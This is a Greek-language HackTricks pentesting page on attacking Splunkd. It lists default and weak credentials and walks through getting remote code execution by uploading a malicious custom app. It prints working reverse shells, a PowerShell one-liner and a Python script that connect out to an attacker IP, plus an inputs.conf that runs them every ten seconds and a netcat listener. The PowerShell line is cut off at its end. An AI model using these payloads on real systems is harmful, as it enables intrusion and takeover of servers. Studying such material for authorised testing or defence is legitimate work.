8089 - Pentesting Splunkd

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Το Splunk είναι ένα εργαλείο ανάλυσης καταγραφικών αρχείων που παίζει ένα κρίσιμο ρόλο στη συλλογή, ανάλυση και οπτικοποίηση δεδομένων. Αν και η αρχική του σκοπιμότητα δεν ήταν να λειτουργήσει ως εργαλείο SIEM (Security Information and Event Management), έχει κερδίσει δημοτικότητα στον τομέα της παρακολούθησης ασφάλειας και της ανάλυσης επιχειρηματικών δεδομένων.

Οι εγκαταστάσεις του Splunk χρησιμοποιούνται συχνά για να αποθηκεύουν ευαίσθητα δεδομένα και μπορούν να λειτουργήσουν ως πολύτιμη πηγή πληροφοριών για πιθανούς επιτιθέμενους αν καταφέρουν να παραβιάσουν το σύστημα. Προεπιλεγμένη θύρα: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Ο διακομιστής web του Splunk τρέχει από προεπιλογή στη θύρα 8000.

Απαρίθμηση

Δωρεάν Έκδοση

Η δοκιμαστική έκδοση του Splunk Enterprise μετατρέπεται σε δωρεάν έκδοση μετά από 60 ημέρες, η οποία δεν απαιτεί πιστοποίηση. Δεν είναι ασυνήθιστο για τους διαχειριστές συστήματος να εγκαταστήσουν μια δοκιμαστική έκδοση του Splunk για να το δοκιμάσουν, η οποία στη συνέχεια ξεχνιέται. Αυτό θα μετατραπεί αυτόματα στη δωρεάν έκδοση που δεν έχει καμία μορφή πιστοποίησης, δημιουργώντας ένα κενό ασφαλείας στο περιβάλλον. Ορισμένες οργανώσεις μπορεί να επιλέξουν τη δωρεάν έκδοση λόγω περιορισμένων προϋπολογιστικών περιορισμών, χωρίς να κατανοούν πλήρως τις επιπτώσεις της έλλειψης διαχείρισης χρηστών/ρόλων.

Προεπιλεγμένα Διαπιστευτήρια

Σε παλαιότερες εκδόσεις του Splunk, τα προεπιλεγμένα διαπιστευτήρια είναι admin:changeme, τα οποία εμφανίζονται ευκολότερα στη σελίδα σύνδεσης. Ωστόσο, η τελευταία έκδοση του Splunk ορίζει διαπιστευτήρια κατά τη διάρκεια της διαδικασίας εγκατάστασης. Εάν τα προεπιλεγμένα διαπιστευτήρια δεν λειτουργούν, αξίζει να ελέγξετε για κοινά αδύναμα συνθηματικά όπως admin, Welcome, Welcome1, Password123, κλπ.

Λήψη Πληροφοριών

Αφού συνδεθείτε στο Splunk, μπορούμε να περιηγηθούμε στα δεδομένα, να εκτελέσουμε αναφορές, να δημιουργήσουμε ταμπλό, να εγκαταστήσουμε εφαρμογές από τη βιβλιοθήκη Splunkbase και να εγκαταστήσουμε προσαρμοσμένες εφαρμογές. Μπορείτε επίσης να εκτελέσετε κώδικα: Ο Splunk έχει πολλούς τρόπους εκτέλεσης κώδικα, όπως εφαρμογές Django πλευράς εξυπηρετητή, σημεία άκρης REST, σεναρίων εισαγωγής και σεναρίων ειδοποίησης. Ένας κοινός τρόπος απόκτησης απομακρυσμένης εκτέλεσης κώδικα σε έναν διακομιστή Splunk είναι μέσω της χρήσης ενός σεναρίου εισαγωγής.

Επιπλέον, καθώς το Splunk μπορεί να εγκατασταθεί σε κεντρικούς υπολογιστές Windows ή Linux, μπορούν να δημιουργηθούν σενάρια εισαγωγής για την εκτέλεση σεναρίων Bash, PowerShell ή Batch.

Shodan

  • Έκδοση Splunk

RCE

Δημιουργία Προσαρμοσμένης Εφαρμογής

Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελέσει Python, Batch, Bash ή PowerShell σενάρια. Σημειώστε ότι το Splunk έρχεται με εγκατεστημένο Python, οπότε ακόμη και σε συστήματα Windows θα μπορείτε να εκτελέσετε κώδικα Python.

Μπορείτε να χρησιμοποιήσετε αυτό το πακέτο Splunk για να μας βοηθήσει. Ο κατάλογος bin σε αυτό το αποθετήριο περιέχει παραδείγματα για Python και PowerShell. Ας περιηγηθούμε σε αυτό βήμα-βήμα.

Για να το επιτύχουμε αυτό, πρέπει πρώτα να δημιουργήσουμε μια προσαρμοσμένη εφαρμογή Splunk χρησιμοποιώντας την ακόλουθη δομή καταλόγου:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Ο φάκελος bin θα περιέχει οποιαδήποτε σενάρια πρόκειται να εκτελέσουμε (σε αυτήν την περίπτωση, ένας αντίστροφος κέλυφος PowerShell), και ο προεπιλεγμένος φάκελος θα έχει το αρχείο inputs.conf μας. Το αντίστροφο κέλυφος μας θα είναι ένας PowerShell εντολή σε μία γραμμή:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Το αρχείο inputs.conf λέει στο Splunk ποιο script να εκτελέσει και οποιεσδήποτε άλλες συνθήκες. Εδώ ορίζουμε την εφαρμογή ως ενεργοποιημένη και λέμε στο Splunk να εκτελεί το script κάθε 10 δευτερόλεπτα. Το διάστημα είναι πάντα σε δευτερόλεπτα και η είσοδος (script) θα εκτελεστεί μόνο αν αυτή η ρύθμιση είναι παρούσα.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Χρειαζόμαστε το αρχείο .bat, το οποίο θα εκτελείται όταν εγκαθίσταται η εφαρμογή και θα εκτελεί την εντολή PowerShell.

Το επόμενο βήμα είναι να επιλέξουμε Εγκατάσταση εφαρμογής από αρχείο και να ανεβάσουμε την εφαρμογή.

Πριν ανεβάσουμε την κακόβουλη προσαρμοσμένη εφαρμογή, ας ξεκινήσουμε έναν ακροατή χρησιμοποιώντας το Netcat ή το socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Στη σελίδα Μεταφόρτωση εφαρμογής, κάντε κλικ στο πλήκτρο Αναζήτηση, επιλέξτε το tarball που δημιουργήσαμε προηγουμένως και κάντε κλικ στο Μεταφόρτωση. Αμέσως μόλις μεταφορτώσουμε την εφαρμογή, λαμβάνουμε έναν αντίστροφο κέλυφος ως κατάσταση της εφαρμογής που αυτόματα αλλάζει σε Ενεργοποιημένη.

Linux

Εάν είχαμε να κάνουμε με έναν Linux υπολογιστή, θα χρειαζόμασταν να επεξεργαστούμε το σενάριο Python rev.py πριν δημιουργήσουμε το tarball και μεταφορτώσουμε την προσαρμοσμένη κακόβουλη εφαρμογή. Το υπόλοιπο της διαδικασίας θα ήταν το ίδιο, και θα λάμβαναμε μια σύνδεση αντίστροφου κελύφους στον ακροατή Netcat μας και θα ξεκινούσαμε.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Ανέβασμα Προνομίων

Στην ακόλουθη σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να αναβαθμιστούν τα προνόμια και να αποκτηθεί μόνιμη παρουσία:

pageSplunk LPE and Persistence

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated